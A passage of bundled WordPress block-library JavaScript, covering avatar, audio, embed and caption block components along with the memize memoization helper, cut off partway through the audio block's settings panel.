3234 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3235 external_wp_components_namespaceObject.ToggleControl,
3236 {
3237 __nextHasNoMarginBottom: true,
3238 label: (0,external_wp_i18n_namespaceObject.__)("Link to user profile"),
3239 onChange: () => setAttributes({ isLink: !attributes.isLink }),
3240 checked: attributes.isLink
3241 }
3242 )
3243 }
3244 ),
3245 attributes.isLink && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3246 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
3247 {
3248 label: (0,external_wp_i18n_namespaceObject.__)("Open in new tab"),
3249 isShownByDefault: true,
3250 hasValue: () => attributes?.linkTarget !== "_self",
3251 onDeselect: () => setAttributes({ linkTarget: "_self" }),
3252 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3253 external_wp_components_namespaceObject.ToggleControl,
3254 {
3255 __nextHasNoMarginBottom: true,
3256 label: (0,external_wp_i18n_namespaceObject.__)("Open in new tab"),
3257 onChange: (value) => setAttributes({
3258 linkTarget: value ? "_blank" : "_self"
3259 }),
3260 checked: attributes.linkTarget === "_blank"
3261 }
3262 )
3263 }
3264 ),
3265 selectUser && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3266 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
3267 {
3268 label: (0,external_wp_i18n_namespaceObject.__)("User"),
3269 isShownByDefault: true,
3270 hasValue: () => !!attributes?.userId,
3271 onDeselect: () => setAttributes({ userId: void 0 }),
3272 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3273 UserControl,
3274 {
3275 value: attributes?.userId,
3276 onChange: (value) => {
3277 setAttributes({
3278 userId: value
3279 });
3280 }
3281 }
3282 )
3283 }
3284 )
3285 ]
3286 }
3287 ) });
3288};
3289const ResizableAvatar = ({
3290 setAttributes,
3291 attributes,
3292 avatar,
3293 blockProps,
3294 isSelected
3295}) => {
3296 const borderProps = (0,external_wp_blockEditor_namespaceObject.__experimentalUseBorderProps)(attributes);
3297 const doubledSizedSrc = (0,external_wp_url_namespaceObject.addQueryArgs)(
3298 (0,external_wp_url_namespaceObject.removeQueryArgs)(avatar?.src, ["s"]),
3299 {
3300 s: attributes?.size * 2
3301 }
3302 );
3303 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3304 external_wp_components_namespaceObject.ResizableBox,
3305 {
3306 size: {
3307 width: attributes.size,
3308 height: attributes.size
3309 },
3310 showHandle: isSelected,
3311 onResizeStop: (event, direction, elt, delta) => {
3312 setAttributes({
3313 size: parseInt(
3314 attributes.size + (delta.height || delta.width),
3315 10
3316 )
3317 });
3318 },
3319 lockAspectRatio: true,
3320 enable: {
3321 top: false,
3322 right: !(0,external_wp_i18n_namespaceObject.isRTL)(),
3323 bottom: true,
3324 left: (0,external_wp_i18n_namespaceObject.isRTL)()
3325 },
3326 minWidth: avatar.minSize,
3327 maxWidth: avatar.maxSize,
3328 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3329 "img",
3330 {
3331 src: doubledSizedSrc,
3332 alt: avatar.alt,
3333 className: dist_clsx(
3334 "avatar",
3335 "avatar-" + attributes.size,
3336 "photo",
3337 "wp-block-avatar__image",
3338 borderProps.className
3339 ),
3340 style: borderProps.style
3341 }
3342 )
3343 }
3344 ) });
3345};
3346const CommentEdit = ({ attributes, context, setAttributes, isSelected }) => {
3347 const { commentId } = context;
3348 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)();
3349 const avatar = useCommentAvatar({ commentId });
3350 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
3351 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3352 AvatarInspectorControls,
3353 {
3354 avatar,
3355 setAttributes,
3356 attributes,
3357 selectUser: false
3358 }
3359 ),
3360 attributes.isLink ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3361 "a",
3362 {
3363 href: "#avatar-pseudo-link",
3364 className: "wp-block-avatar__link",
3365 onClick: (event) => event.preventDefault(),
3366 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3367 ResizableAvatar,
3368 {
3369 attributes,
3370 avatar,
3371 blockProps,
3372 isSelected,
3373 setAttributes
3374 }
3375 )
3376 }
3377 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3378 ResizableAvatar,
3379 {
3380 attributes,
3381 avatar,
3382 blockProps,
3383 isSelected,
3384 setAttributes
3385 }
3386 )
3387 ] });
3388};
3389const UserEdit = ({ attributes, context, setAttributes, isSelected }) => {
3390 const { postId, postType } = context;
3391 const avatar = useUserAvatar({
3392 userId: attributes?.userId,
3393 postId,
3394 postType
3395 });
3396 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)();
3397 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
3398 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3399 AvatarInspectorControls,
3400 {
3401 selectUser: true,
3402 attributes,
3403 avatar,
3404 setAttributes
3405 }
3406 ),
3407 attributes.isLink ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3408 "a",
3409 {
3410 href: "#avatar-pseudo-link",
3411 className: "wp-block-avatar__link",
3412 onClick: (event) => event.preventDefault(),
3413 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3414 ResizableAvatar,
3415 {
3416 attributes,
3417 avatar,
3418 blockProps,
3419 isSelected,
3420 setAttributes
3421 }
3422 )
3423 }
3424 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3425 ResizableAvatar,
3426 {
3427 attributes,
3428 avatar,
3429 blockProps,
3430 isSelected,
3431 setAttributes
3432 }
3433 )
3434 ] });
3435};
3436function avatar_edit_Edit(props) {
3437 if (props?.context?.commentId || props?.context?.commentId === null) {
3438 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(CommentEdit, { ...props });
3439 }
3440 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(UserEdit, { ...props });
3441}
3442
3443
3444;// ./node_modules/@wordpress/block-library/build-module/avatar/index.js
3445
3446
3447
3448
3449const { name: avatar_name } = avatar_block_namespaceObject;
3450const avatar_settings = {
3451 icon: comment_author_avatar_default,
3452 edit: avatar_edit_Edit,
3453 example: {}
3454};
3455const avatar_init = () => initBlock({ name: avatar_name, metadata: avatar_block_namespaceObject, settings: avatar_settings });
3456
3457
3458;// ./node_modules/@wordpress/icons/build-module/library/audio.js
3459
3460
3461var audio_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M17.7 4.3c-1.2 0-2.8 0-3.8 1-.6.6-.9 1.5-.9 2.6V14c-.6-.6-1.5-1-2.5-1C8.6 13 7 14.6 7 16.5S8.6 20 10.5 20c1.5 0 2.8-1 3.3-2.3.5-.8.7-1.8.7-2.5V7.9c0-.7.2-1.2.5-1.6.6-.6 1.8-.6 2.8-.6h.3V4.3h-.4z" }) });
3462
3463
3464;// ./node_modules/@wordpress/block-library/build-module/audio/deprecated.js
3465
3466
3467var deprecated_deprecated_default = [
3468 {
3469 attributes: {
3470 src: {
3471 type: "string",
3472 source: "attribute",
3473 selector: "audio",
3474 attribute: "src"
3475 },
3476 caption: {
3477 type: "string",
3478 source: "html",
3479 selector: "figcaption"
3480 },
3481 id: {
3482 type: "number"
3483 },
3484 autoplay: {
3485 type: "boolean",
3486 source: "attribute",
3487 selector: "audio",
3488 attribute: "autoplay"
3489 },
3490 loop: {
3491 type: "boolean",
3492 source: "attribute",
3493 selector: "audio",
3494 attribute: "loop"
3495 },
3496 preload: {
3497 type: "string",
3498 source: "attribute",
3499 selector: "audio",
3500 attribute: "preload"
3501 }
3502 },
3503 supports: {
3504 align: true
3505 },
3506 save({ attributes }) {
3507 const { autoplay, caption, loop, preload, src } = attributes;
3508 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("figure", { children: [
3509 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3510 "audio",
3511 {
3512 controls: "controls",
3513 src,
3514 autoPlay: autoplay,
3515 loop,
3516 preload
3517 }
3518 ),
3519 !external_wp_blockEditor_namespaceObject.RichText.isEmpty(caption) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3520 external_wp_blockEditor_namespaceObject.RichText.Content,
3521 {
3522 tagName: "figcaption",
3523 value: caption
3524 }
3525 )
3526 ] });
3527 }
3528 }
3529];
3530
3531
3532;// external ["wp","notices"]
3533const external_wp_notices_namespaceObject = window["wp"]["notices"];
3534;// ./node_modules/memize/dist/index.js
3535/**
3536 * Memize options object.
3537 *
3538 * @typedef MemizeOptions
3539 *
3540 * @property {number} [maxSize] Maximum size of the cache.
3541 */
3542
3543/**
3544 * Internal cache entry.
3545 *
3546 * @typedef MemizeCacheNode
3547 *
3548 * @property {?MemizeCacheNode|undefined} [prev] Previous node.
3549 * @property {?MemizeCacheNode|undefined} [next] Next node.
3550 * @property {Array<*>} args Function arguments for cache
3551 * entry.
3552 * @property {*} val Function result.
3553 */
3554
3555/**
3556 * Properties of the enhanced function for controlling cache.
3557 *
3558 * @typedef MemizeMemoizedFunction
3559 *
3560 * @property {()=>void} clear Clear the cache.
3561 */
3562
3563/**
3564 * Accepts a function to be memoized, and returns a new memoized function, with
3565 * optional options.
3566 *
3567 * @template {(...args: any[]) => any} F
3568 *
3569 * @param {F} fn Function to memoize.
3570 * @param {MemizeOptions} [options] Options object.
3571 *
3572 * @return {((...args: Parameters<F>) => ReturnType<F>) & MemizeMemoizedFunction} Memoized function.
3573 */
3574function memize(fn, options) {
3575 var size = 0;
3576
3577 /** @type {?MemizeCacheNode|undefined} */
3578 var head;
3579
3580 /** @type {?MemizeCacheNode|undefined} */
3581 var tail;
3582
3583 options = options || {};
3584
3585 function memoized(/* ...args */) {
3586 var node = head,
3587 len = arguments.length,
3588 args,
3589 i;
3590
3591 searchCache: while (node) {
3592 // Perform a shallow equality test to confirm that whether the node
3593 // under test is a candidate for the arguments passed. Two arrays
3594 // are shallowly equal if their length matches and each entry is
3595 // strictly equal between the two sets. Avoid abstracting to a
3596 // function which could incur an arguments leaking deoptimization.
3597
3598 // Check whether node arguments match arguments length
3599 if (node.args.length !== arguments.length) {
3600 node = node.next;
3601 continue;
3602 }
3603
3604 // Check whether node arguments match arguments values
3605 for (i = 0; i < len; i++) {
3606 if (node.args[i] !== arguments[i]) {
3607 node = node.next;
3608 continue searchCache;
3609 }
3610 }
3611
3612 // At this point we can assume we've found a match
3613
3614 // Surface matched node to head if not already
3615 if (node !== head) {
3616 // As tail, shift to previous. Must only shift if not also
3617 // head, since if both head and tail, there is no previous.
3618 if (node === tail) {
3619 tail = node.prev;
3620 }
3621
3622 // Adjust siblings to point to each other. If node was tail,
3623 // this also handles new tail's empty `next` assignment.
3624 /** @type {MemizeCacheNode} */ (node.prev).next = node.next;
3625 if (node.next) {
3626 node.next.prev = node.prev;
3627 }
3628
3629 node.next = head;
3630 node.prev = null;
3631 /** @type {MemizeCacheNode} */ (head).prev = node;
3632 head = node;
3633 }
3634
3635 // Return immediately
3636 return node.val;
3637 }
3638
3639 // No cached value found. Continue to insertion phase:
3640
3641 // Create a copy of arguments (avoid leaking deoptimization)
3642 args = new Array(len);
3643 for (i = 0; i < len; i++) {
3644 args[i] = arguments[i];
3645 }
3646
3647 node = {
3648 args: args,
3649
3650 // Generate the result from original function
3651 val: fn.apply(null, args),
3652 };
3653
3654 // Don't need to check whether node is already head, since it would
3655 // have been returned above already if it was
3656
3657 // Shift existing head down list
3658 if (head) {
3659 head.prev = node;
3660 node.next = head;
3661 } else {
3662 // If no head, follows that there's no tail (at initial or reset)
3663 tail = node;
3664 }
3665
3666 // Trim tail if we're reached max size and are pending cache insertion
3667 if (size === /** @type {MemizeOptions} */ (options).maxSize) {
3668 tail = /** @type {MemizeCacheNode} */ (tail).prev;
3669 /** @type {MemizeCacheNode} */ (tail).next = null;
3670 } else {
3671 size++;
3672 }
3673
3674 head = node;
3675
3676 return node.val;
3677 }
3678
3679 memoized.clear = function () {
3680 head = null;
3681 tail = null;
3682 size = 0;
3683 };
3684
3685 // Ignore reason: There's not a clear solution to create an intersection of
3686 // the function with additional properties, where the goal is to retain the
3687 // function signature of the incoming argument and add control properties
3688 // on the return value.
3689
3690 // @ts-ignore
3691 return memoized;
3692}
3693
3694
3695
3696;// ./node_modules/@wordpress/block-library/build-module/embed/block.json
3697const embed_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/embed","title":"Embed","category":"embed","description":"Add a block that displays content pulled from other sites, like Twitter or YouTube.","textdomain":"default","attributes":{"url":{"type":"string","role":"content"},"caption":{"type":"rich-text","source":"rich-text","selector":"figcaption","role":"content"},"type":{"type":"string","role":"content"},"providerNameSlug":{"type":"string","role":"content"},"allowResponsive":{"type":"boolean","default":true},"responsive":{"type":"boolean","default":false,"role":"content"},"previewable":{"type":"boolean","default":true,"role":"content"}},"supports":{"align":true,"spacing":{"margin":true},"interactivity":{"clientNavigation":true}},"editorStyle":"wp-block-embed-editor","style":"wp-block-embed"}');
3698;// ./node_modules/@wordpress/block-library/build-module/embed/constants.js
3699const ASPECT_RATIOS = [
3700 // Common video resolutions.
3701 { ratio: "2.33", className: "wp-embed-aspect-21-9" },
3702 { ratio: "2.00", className: "wp-embed-aspect-18-9" },
3703 { ratio: "1.78", className: "wp-embed-aspect-16-9" },
3704 { ratio: "1.33", className: "wp-embed-aspect-4-3" },
3705 // Vertical video and instagram square video support.
3706 { ratio: "1.00", className: "wp-embed-aspect-1-1" },
3707 { ratio: "0.56", className: "wp-embed-aspect-9-16" },
3708 { ratio: "0.50", className: "wp-embed-aspect-1-2" }
3709];
3710const WP_EMBED_TYPE = "wp-embed";
3711
3712
3713;// external ["wp","privateApis"]
3714const external_wp_privateApis_namespaceObject = window["wp"]["privateApis"];
3715;// ./node_modules/@wordpress/block-library/build-module/lock-unlock.js
3716
3717const { lock, unlock } = (0,external_wp_privateApis_namespaceObject.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(
3718 "I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.",
3719 "@wordpress/block-library"
3720);
3721
3722
3723;// ./node_modules/@wordpress/block-library/build-module/embed/util.js
3724
3725
3726
3727
3728
3729
3730
3731
3732
3733const { name: DEFAULT_EMBED_BLOCK } = embed_block_namespaceObject;
3734const { kebabCase } = unlock(external_wp_components_namespaceObject.privateApis);
3735const getEmbedInfoByProvider = (provider) => (0,external_wp_blocks_namespaceObject.getBlockVariations)(DEFAULT_EMBED_BLOCK)?.find(
3736 ({ name }) => name === provider
3737);
3738const matchesPatterns = (url, patterns = []) => patterns.some((pattern) => url.match(pattern));
3739const findMoreSuitableBlock = (url) => (0,external_wp_blocks_namespaceObject.getBlockVariations)(DEFAULT_EMBED_BLOCK)?.find(
3740 ({ patterns }) => matchesPatterns(url, patterns)
3741);
3742const isFromWordPress = (html) => html && html.includes('class="wp-embedded-content"');
3743const getPhotoHtml = (photo) => {
3744 const imageUrl = photo.url || photo.thumbnail_url;
3745 const photoPreview = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("img", { src: imageUrl, alt: photo.title, width: "100%" }) });
3746 return (0,external_wp_element_namespaceObject.renderToString)(photoPreview);
3747};
3748const createUpgradedEmbedBlock = (props, attributesFromPreview = {}) => {
3749 const { preview, attributes = {} } = props;
3750 const { url, providerNameSlug, type, ...restAttributes } = attributes;
3751 if (!url || !(0,external_wp_blocks_namespaceObject.getBlockType)(DEFAULT_EMBED_BLOCK)) {
3752 return;
3753 }
3754 const matchedBlock = findMoreSuitableBlock(url);
3755 const isCurrentBlockWP = providerNameSlug === "wordpress" || type === WP_EMBED_TYPE;
3756 const shouldCreateNewBlock = !isCurrentBlockWP && matchedBlock && (matchedBlock.attributes.providerNameSlug !== providerNameSlug || !providerNameSlug);
3757 if (shouldCreateNewBlock) {
3758 return (0,external_wp_blocks_namespaceObject.createBlock)(DEFAULT_EMBED_BLOCK, {
3759 url,
3760 ...restAttributes,
3761 ...matchedBlock.attributes
3762 });
3763 }
3764 const wpVariation = (0,external_wp_blocks_namespaceObject.getBlockVariations)(DEFAULT_EMBED_BLOCK)?.find(
3765 ({ name }) => name === "wordpress"
3766 );
3767 if (!wpVariation || !preview || !isFromWordPress(preview.html) || isCurrentBlockWP) {
3768 return;
3769 }
3770 return (0,external_wp_blocks_namespaceObject.createBlock)(DEFAULT_EMBED_BLOCK, {
3771 url,
3772 ...wpVariation.attributes,
3773 // By now we have the preview, but when the new block first renders, it
3774 // won't have had all the attributes set, and so won't get the correct
3775 // type and it won't render correctly. So, we pass through the current attributes
3776 // here so that the initial render works when we switch to the WordPress
3777 // block. This only affects the WordPress block because it can't be
3778 // rendered in the usual Sandbox (it has a sandbox of its own) and it
3779 // relies on the preview to set the correct render type.
3780 ...attributesFromPreview
3781 });
3782};
3783const hasAspectRatioClass = (existingClassNames) => {
3784 if (!existingClassNames) {
3785 return false;
3786 }
3787 return ASPECT_RATIOS.some(
3788 ({ className }) => existingClassNames.includes(className)
3789 );
3790};
3791const removeAspectRatioClasses = (existingClassNames) => {
3792 if (!existingClassNames) {
3793 return existingClassNames;
3794 }
3795 const aspectRatioClassNames = ASPECT_RATIOS.reduce(
3796 (accumulator, { className }) => {
3797 accumulator.push(className);
3798 return accumulator;
3799 },
3800 ["wp-has-aspect-ratio"]
3801 );
3802 let outputClassNames = existingClassNames;
3803 for (const className of aspectRatioClassNames) {
3804 outputClassNames = outputClassNames.replace(className, "");
3805 }
3806 return outputClassNames.trim();
3807};
3808function getClassNames(html, existingClassNames, allowResponsive = true) {
3809 if (!allowResponsive) {
3810 return removeAspectRatioClasses(existingClassNames);
3811 }
3812 const previewDocument = document.implementation.createHTMLDocument("");
3813 previewDocument.body.innerHTML = html;
3814 const iframe = previewDocument.body.querySelector("iframe");
3815 if (iframe && iframe.height && iframe.width) {
3816 const aspectRatio = (iframe.width / iframe.height).toFixed(2);
3817 for (let ratioIndex = 0; ratioIndex < ASPECT_RATIOS.length; ratioIndex++) {
3818 const potentialRatio = ASPECT_RATIOS[ratioIndex];
3819 if (aspectRatio >= potentialRatio.ratio) {
3820 const ratioDiff = aspectRatio - potentialRatio.ratio;
3821 if (ratioDiff > 0.1) {
3822 return removeAspectRatioClasses(existingClassNames);
3823 }
3824 return dist_clsx(
3825 removeAspectRatioClasses(existingClassNames),
3826 potentialRatio.className,
3827 "wp-has-aspect-ratio"
3828 );
3829 }
3830 }
3831 }
3832 return existingClassNames;
3833}
3834function fallback(url, onReplace) {
3835 const link = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("a", { href: url, children: url });
3836 onReplace(
3837 (0,external_wp_blocks_namespaceObject.createBlock)("core/paragraph", { content: (0,external_wp_element_namespaceObject.renderToString)(link) })
3838 );
3839}
3840const getAttributesFromPreview = memize(
3841 (preview, title, currentClassNames, isResponsive, allowResponsive = true) => {
3842 if (!preview) {
3843 return {};
3844 }
3845 const attributes = {};
3846 let { type = "rich" } = preview;
3847 const { html, provider_name: providerName } = preview;
3848 const providerNameSlug = kebabCase(
3849 (providerName || title).toLowerCase()
3850 );
3851 if (isFromWordPress(html)) {
3852 type = WP_EMBED_TYPE;
3853 }
3854 if (html || "photo" === type) {
3855 attributes.type = type;
3856 attributes.providerNameSlug = providerNameSlug;
3857 }
3858 if (hasAspectRatioClass(currentClassNames)) {
3859 return attributes;
3860 }
3861 attributes.className = getClassNames(
3862 html,
3863 currentClassNames,
3864 isResponsive && allowResponsive
3865 );
3866 return attributes;
3867 }
3868);
3869const getMergedAttributesWithPreview = (currentAttributes, preview, title, isResponsive) => {
3870 const { allowResponsive, className } = currentAttributes;
3871 return {
3872 ...currentAttributes,
3873 ...getAttributesFromPreview(
3874 preview,
3875 title,
3876 className,
3877 isResponsive,
3878 allowResponsive
3879 )
3880 };
3881};
3882
3883
3884;// ./node_modules/@wordpress/icons/build-module/library/caption.js
3885
3886
3887var caption_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3888 external_wp_primitives_namespaceObject.Path,
3889 {
3890 fillRule: "evenodd",
3891 clipRule: "evenodd",
3892 d: "M6 5.5h12a.5.5 0 0 1 .5.5v12a.5.5 0 0 1-.5.5H6a.5.5 0 0 1-.5-.5V6a.5.5 0 0 1 .5-.5ZM4 6a2 2 0 0 1 2-2h12a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V6Zm4 10h2v-1.5H8V16Zm5 0h-2v-1.5h2V16Zm1 0h2v-1.5h-2V16Z"
3893 }
3894) });
3895
3896
3897;// ./node_modules/@wordpress/block-library/build-module/utils/caption.js
3898
3899
3900
3901
3902
3903
3904
3905
3906
3907
3908function Caption({
3909 attributeKey = "caption",
3910 attributes,
3911 setAttributes,
3912 isSelected,
3913 insertBlocksAfter,
3914 placeholder = (0,external_wp_i18n_namespaceObject.__)("Add caption"),
3915 label = (0,external_wp_i18n_namespaceObject.__)("Caption text"),
3916 showToolbarButton = true,
3917 excludeElementClassName,
3918 className,
3919 readOnly,
3920 tagName = "figcaption",
3921 addLabel = (0,external_wp_i18n_namespaceObject.__)("Add caption"),
3922 removeLabel = (0,external_wp_i18n_namespaceObject.__)("Remove caption"),
3923 icon = caption_default,
3924 ...props
3925}) {
3926 const caption = attributes[attributeKey];
3927 const prevCaption = (0,external_wp_compose_namespaceObject.usePrevious)(caption);
3928 const { PrivateRichText: RichText } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
3929 const isCaptionEmpty = RichText.isEmpty(caption);
3930 const isPrevCaptionEmpty = RichText.isEmpty(prevCaption);
3931 const [showCaption, setShowCaption] = (0,external_wp_element_namespaceObject.useState)(!isCaptionEmpty);
3932 (0,external_wp_element_namespaceObject.useEffect)(() => {
3933 if (!isCaptionEmpty && isPrevCaptionEmpty) {
3934 setShowCaption(true);
3935 }
3936 }, [isCaptionEmpty, isPrevCaptionEmpty]);
3937 (0,external_wp_element_namespaceObject.useEffect)(() => {
3938 if (!isSelected && isCaptionEmpty) {
3939 setShowCaption(false);
3940 }
3941 }, [isSelected, isCaptionEmpty]);
3942 const ref = (0,external_wp_element_namespaceObject.useCallback)(
3943 (node) => {
3944 if (node && isCaptionEmpty) {
3945 node.focus();
3946 }
3947 },
3948 [isCaptionEmpty]
3949 );
3950 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
3951 showToolbarButton && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "block", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3952 external_wp_components_namespaceObject.ToolbarButton,
3953 {
3954 onClick: () => {
3955 setShowCaption(!showCaption);
3956 if (showCaption && caption) {
3957 setAttributes({
3958 [attributeKey]: void 0
3959 });
3960 }
3961 },
3962 icon,
3963 isPressed: showCaption,
3964 label: showCaption ? removeLabel : addLabel
3965 }
3966 ) }),
3967 showCaption && (!RichText.isEmpty(caption) || isSelected) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3968 RichText,
3969 {
3970 identifier: attributeKey,
3971 tagName,
3972 className: dist_clsx(
3973 className,
3974 excludeElementClassName ? "" : (0,external_wp_blockEditor_namespaceObject.__experimentalGetElementClassName)("caption")
3975 ),
3976 ref,
3977 "aria-label": label,
3978 placeholder,
3979 value: caption,
3980 onChange: (value) => setAttributes({ [attributeKey]: value }),
3981 inlineToolbar: true,
3982 __unstableOnSplitAtEnd: () => insertBlocksAfter(
3983 (0,external_wp_blocks_namespaceObject.createBlock)((0,external_wp_blocks_namespaceObject.getDefaultBlockName)())
3984 ),
3985 readOnly,
3986 ...props
3987 }
3988 )
3989 ] });
3990}
3991
3992
3993;// ./node_modules/@wordpress/block-library/build-module/audio/edit.js
3994
3995
3996
3997
3998
3999
4000
4001
4002
4003
4004
4005
4006
4007const ALLOWED_MEDIA_TYPES = ["audio"];
4008function AudioEdit({
4009 attributes,
4010 className,
4011 setAttributes,
4012 onReplace,
4013 isSelected: isSingleSelected,
4014 insertBlocksAfter
4015}) {
4016 const { id, autoplay, loop, preload, src } = attributes;
4017 const [temporaryURL, setTemporaryURL] = (0,external_wp_element_namespaceObject.useState)(attributes.blob);
4018 const blockEditingMode = (0,external_wp_blockEditor_namespaceObject.useBlockEditingMode)();
4019 const hasNonContentControls = blockEditingMode === "default";
4020 useUploadMediaFromBlobURL({
4021 url: temporaryURL,
4022 allowedTypes: ALLOWED_MEDIA_TYPES,
4023 onChange: onSelectAudio,
4024 onError: onUploadError
4025 });
4026 function toggleAttribute(attribute) {
4027 return (newValue) => {
4028 setAttributes({ [attribute]: newValue });
4029 };
4030 }
4031 function onSelectURL(newSrc) {
4032 if (newSrc !== src) {
4033 const embedBlock = createUpgradedEmbedBlock({
4034 attributes: { url: newSrc }
4035 });
4036 if (void 0 !== embedBlock && onReplace) {
4037 onReplace(embedBlock);
4038 return;
4039 }
4040 setAttributes({ src: newSrc, id: void 0, blob: void 0 });
4041 setTemporaryURL();
4042 }
4043 }
4044 const { createErrorNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
4045 function onUploadError(message) {
4046 createErrorNotice(message, { type: "snackbar" });
4047 }
4048 function getAutoplayHelp(checked) {
4049 return checked ? (0,external_wp_i18n_namespaceObject.__)("Autoplay may cause usability issues for some users.") : null;
4050 }
4051 function onSelectAudio(media) {
4052 if (!media || !media.url) {
4053 setAttributes({
4054 src: void 0,
4055 id: void 0,
4056 caption: void 0,
4057 blob: void 0
4058 });
4059 setTemporaryURL();
4060 return;
4061 }
4062 if ((0,external_wp_blob_namespaceObject.isBlobURL)(media.url)) {
4063 setTemporaryURL(media.url);
4064 return;
4065 }
4066 setAttributes({
4067 blob: void 0,
4068 src: media.url,
4069 id: media.id,
4070 caption: media.caption
4071 });
4072 setTemporaryURL();
4073 }
4074 const classes = dist_clsx(className, {
4075 "is-transient": !!temporaryURL
4076 });
4077 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
4078 className: classes
4079 });
4080 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
4081 if (!src && !temporaryURL) {
4082 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4083 external_wp_blockEditor_namespaceObject.MediaPlaceholder,
4084 {
4085 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockIcon, { icon: audio_default }),
4086 onSelect: onSelectAudio,
4087 onSelectURL,
4088 accept: "audio/*",
4089 allowedTypes: ALLOWED_MEDIA_TYPES,
4090 value: attributes,
4091 onError: onUploadError
4092 }
4093 ) });
4094 }
4095 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
4096 isSingleSelected && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "other", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4097 external_wp_blockEditor_namespaceObject.MediaReplaceFlow,
4098 {
4099 mediaId: id,
4100 mediaURL: src,
4101 allowedTypes: ALLOWED_MEDIA_TYPES,
4102 accept: "audio/*",
4103 onSelect: onSelectAudio,
4104 onSelectURL,
4105 onError: onUploadError,
4106 onReset: () => onSelectAudio(void 0)
4107 }
4108 ) }),
4109 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
4110 external_wp_components_namespaceObject.__experimentalToolsPanel,
4111 {
4112 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
4113 resetAll: () => {
4114 setAttributes({
4115 autoplay: false,
4116 loop: false,
4117 preload: void 0
4118 });
4119 },
4120 dropdownMenuProps,
4121 children: [
4122 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4123 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
4124 {
4125 label: (0,external_wp_i18n_namespaceObject.__)("Autoplay"),
4126 isShownByDefault: true,
